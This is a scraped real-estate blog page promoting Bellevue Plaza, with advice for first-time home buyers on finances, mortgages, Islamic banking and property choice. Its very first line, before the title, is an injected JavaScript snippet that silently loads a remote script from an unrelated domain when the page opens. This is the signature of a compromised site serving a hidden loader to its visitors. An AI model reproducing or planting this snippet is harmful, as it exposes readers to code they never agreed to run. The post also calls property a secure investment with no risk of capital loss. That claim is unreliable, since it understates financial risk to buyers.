;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Bellevue Plaza: A Privilege for First-time buyers - Sierra Properties
Bellevue Plaza: A Privilege for First-time buyers

Bellevue Plaza: A Privilege for First-Time Buyers

Having your own home is everyone’s biggest dream. It is something we all strive for in our life. Having your own home means that you have access to the security of wealth, reliability of a safer place to live in, and something you can call your own. It means a blockage of your investment and a reliance that if something ever goes downhill, at least you have a roof you can call your own. 

If you are a first time buyer, then purchasing your own home might be your biggest decision. It is one of the biggest choices you will ever make in your life and that is why it should be perfect. Whether you are buying a home, or simply an apartment then there are many things you might want to consider. You should start your research thoroughly about what you should purchase or not. For a first-time, home buyer making this decision might not be easy. As a result, a series of things should be considered. 

If you are buying a house for the first time then you can benefit from a wide range of first-time house buyer incentives. Although they might not be so big, they may benefit you in the long run.

Why Should You Purchase Your Own Home?

Buying a house of your own has a lot of perks. Your own house is your little world. It keeps you secure and safe. If you are a first-time home buyer then you must be aware of this feeling. Having your own home brings in a sense of tranquility that only you can truly feel. It makes you feel more than just safe. 

Society does have a lot of expectations from individuals, and one of these expectations is that of purchasing your own home. Apart from added security, there are many reasons why you should consider purchasing your own home. If you have the money and the available resources then there should not be a reason why you shouldn’t purchase your place. 

Some Pros of Buying Your Place:

  • It cuts down costs:

Are you living in a huge house and paying lots of rent? Are you spending more than 100K PKR only on rent? If this sounds like you, then you should purchase your own house! Having your own home means that your rent costs get cut down. Of course, you do have to pay back the loan you have borrowed as a first-time home buyer, but that amount is only inclusive of your own. You do not have to spend huge sums of money on paying rent. Instead, you will be paying for something which you can easily call your own. 

  • You can design it as you like!

Rental properties are limited, especially if you are living in furnished ones. You end up paying for things which you might not even be using, for example, a storeroom next to your kitchen or furniture you normally can’t use. If you purchase a property then you can do anything you like. You can convert that small storeroom near the kitchen into a small work studio or library. You can paint your own house whenever you want. Your inner interior designer can explore all creative avenues to make your home look spectacular. You can design your home in whatever way you like without worrying about anything. You can go as creative as you like. 

  • Secured Investment:

House buying is a secured investment. If you are planning to purchase a property or a house then you are securing your future. It does not matter how big or small your first house or property is, it secures your entire future. You will not have to worry about facing capital loss at such an investment is persistent. 

Things to Look at When You are a First-Time Buyer

Property sale and purchase is not a difficult task. It requires a lot of effort. There is a lot of work involved. There are plenty of things which need to be considered. If you are purchasing property, it does require a lot of effort and assistance. Buying your own home is a tough decision. If you are a first time home buyer then you must do the following before your big purchase:

  • Finance and Funding

Before you purchase property you must first tally your financial situation. You must plan the amount you are willing to invest in your first home. You must see how much money you have saved for your new house and then decide on how much more money you are required. The responsibility and financial tension of a first home buyer are always very tough. You have to make sure that you have the cost covered and that you are making a financial decision that you will not regret in the future. 

  • What kind of Property do you want?

As a first-time homebuyer, you must keep in mind that your dream home doesn’t need to be your first home. Property sale and purchase is not an easy task. It is not something you will just wake up to. Instead, it will require a lot of effort. You must first decide what kind of property are you looking for. You must decide whether you are aiming to purchase a house, a penthouse, or an apartment. You must see what kind of property are you willing to invest in. In some cases, first-time homebuyers tend to get confused about what they are looking for. And so, they end up purchasing the wrong property. Instead of focusing on how big the property is, you must seek a house that has a higher market value. Decide whether you want to live in a commercial area or a residential. 

  • Mortgage Options and Repayments

Explore different mortgage deals that are there. See which ones best suit you. If you are borrowing money through loans, then read about their interest rates and which ones seem to be more feasible. If you believe in Islamic banking, then explore loans that are offered through the Islamic Banking channel in Pakistan.

  • Future of the Property

House buying can be a daunting task. However, what would make it easier if you decide what you want to do with it. You should decide whether you want to live in your first house purchase, or would you rent it. It is a common theme in Pakistan that first-time homebuyers, often end up renting out their first property. That is because the rent they collect is often beneficial for them in ways they wouldn’t imagine. So, decide if you will end up living it or not. That impacts the decision you make on the kind of property you later end up investing in. 

Bellevue Plaza: A Privilege for First-time buyers

First-Time Buyer Loans Options and Opportunities

If you are a first-time home buyer you must explore all the different available loan options. There are multiple first-time buyer loans opportunities present. Many banks offer special loan packages and plans for first-time home buyers. In some cases, first-time homebuyers are given better mortgage deals as an encouragement to invest in homes. The first-time homebuyer incentive does exist, especially among banks whose soul target audience is people purchasing property and purchasing homes for the first time in their lives. As a result, many of these deals are patterned such that you can invest in them for a long while. 

So, how can you access these first-time homebuyer loan opportunities?

These first-time buyer loan opportunities are available online. All you have to do is search them up and you will be directed to a list of many vast opportunities made specifically for you. You can see which ones best suit you by checking the various interest rates which are offered. You should also consult your bank which will be ready to accommodate your first-time buyer home opportunities. 

First Time Home Buyer Benefits and Perks

There are many perks that First Time Home Buyers tend to have. They benefit from financial freedom as they do not have to repay old mortgage loans or pending house loan payments. Instead, they are free from all kinds of debt and can benefit from this opportunity. A free of debt means that they can invest as much money of their own on the house as much as they want. They do not have to worry about spending large sums of money on paying old loans. Instead, they can benefit from this freedom. They can budget and plan properly compared to those who have already purchased homes before.

There are more opportunities to buy houses for those who are purchasing their homes for the first time, as compared to those who are not. Many projects such as Bellevue Plaza is created to cater solely to first-time home buyers. Bellevue Plaza is the perfect project for first-time home buyers. If you are buying a house for the first time, then such projects are designed in such a way that all your dreams are made into a reality. Their mortgage plans are designed in such a way that it caters to all your needs. Their houses are designed with the mind that this might be your first investment. 

If you tell such projects that the property purchase you have made is your first you might as well get discounts.  Along with economic perks, you can enjoy other perks as well. For instance, in some cases, projects like Bellevue Plaza can offer a deal to design your own home. You may get access to the best interior designer in the city who may be extremely excited to work with you. Also, the best home designs are often catered to just first-time home buyers.

Buying a house is probably one of the best things you will ever do in life. If you are a first-time homebuyer, make sure that you are making a decision that benefits you completely. You must keep your research intact about what it is you are willing to do. You must make sure that you have all the information that is needed. Before you dwell on this quest make sure you have all the information that is needed and required. Make sure that you are aware of the perks of this decision and can utilize these first-time buyer incentives to the best of your capabilities.

Share this post


Contact Our Rental and Sales Team

Ask Us Anything